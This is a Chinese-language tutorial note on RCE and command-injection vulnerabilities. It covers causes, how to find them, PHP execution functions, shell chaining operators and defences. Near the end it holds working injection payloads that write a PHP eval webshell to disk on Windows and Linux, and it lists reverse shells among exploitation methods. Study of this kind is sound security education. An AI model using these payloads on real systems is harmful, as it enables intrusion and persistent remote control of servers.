形成原因:
在开发过程中,开发者没有对用户输入的参数做严格的过滤,导致用户输入的恶意的参数拼接到了代码执行函数或命令执行函数中,导致命令被执行。
两者的区别:代码执行漏洞传入的是函数,命令执行漏洞传入的是系统命令。
挖掘方法:
黑盒:系统本身存在命令执行的地方,可能存在命令执行漏洞。如:测试网络(ping)、查询信息、网络追踪。
白盒:代码审计 python(SSTI模板注入漏洞) Java php .net
Dirseach
软件开源 hithub
.git git泄露
.svn svn泄露
备份文件泄露 www.tarwww.zip...... (直接用dirseach跑,有就有,没有就没有)
注:Java的高版本jdk可能无法使用webshell,golang的gin和python的flask没有webshell
利用方式
1、单一命令执行(; &(Windows不支持) && | ||)
2、上传木马,写入webshell
3、反弹shell
4、web_deliveray
利用方法:
特殊字符:
cmd1|cmd2:无论cmd1是否执行成功,cmd2将被执行
cmd1;cmd2:无论cmd1是否执行成功,cmd2将被执行,windows不支持
cmd1||cmd2:仅在cmd1执行失败时才执行cmd2
cmd1&&cmd2:仅在cmd1执行成功后cmd2才执行
cmd1&cmd2:执行命令1和命令2
cmd2$(cmd) :echo $(whoami) 或者 $(touch test.sh; echo 'ls' > test.sh)
'cmd':用于执行特定命令,如 'whoami'
命令执行函数:
system():执行外部程序,并且显示输出;
exec():执行一个外部程序
shell_exec():通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
passthru():执行unix系统命令并且显示原始输出
pcntl_exec():在当前进程空间执行指定程序
popen():打开进程文件指针
proc_open():执行一个命令,并且打开用来输入/输出的文件指针。
代码执行函数:
eval():把字符串当作代码执行
assert():把字符串当作代码执行,只能用于php5版本
call_user_func():第一个参数是回调函数,其余是回调参数
call_user_func_array():第一个参数是回调函数,数组作为参数传入
reg_replace():正则表达式替换函数,当第一个参数使用/e作为修饰符,会把第二个参数传入的字符串当作php代码执行 注:php>5.5不再支持
array_map()
RCE防护:
1、上waf
2、不要让用户的参数拼接到代码执行函数或者命令执行函数中
3、正则过滤(黑名单),拦截命令拼接符
4、白名单限制
5、命令或代码执行函数中的参数写死
代码执行函数
Eval
Assert
Call_user_func
CALL_USER_FUNC_ARRAY
Preg_replace
Array_map
命令执行
System
Exec
Shell_exec
Shell_exec
Passtru
Popen
连接符命令执行
&&(前面执行后面才执行)
&(前面是否执行,后面都执行)
|(将第一个结果作为第二个输入)
||(前面执行失败后面才执行)
命令执行写入webshell
Windows 命令执行写入webshell:
1212 & echo "<?php eval($_POST['cmd']);?>" > webshell.php
linux命令执行写入webshell
324 & echo "<?php eval(\$_POST['cmd']);?>" > /var/www/html/upload/webshell.php
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)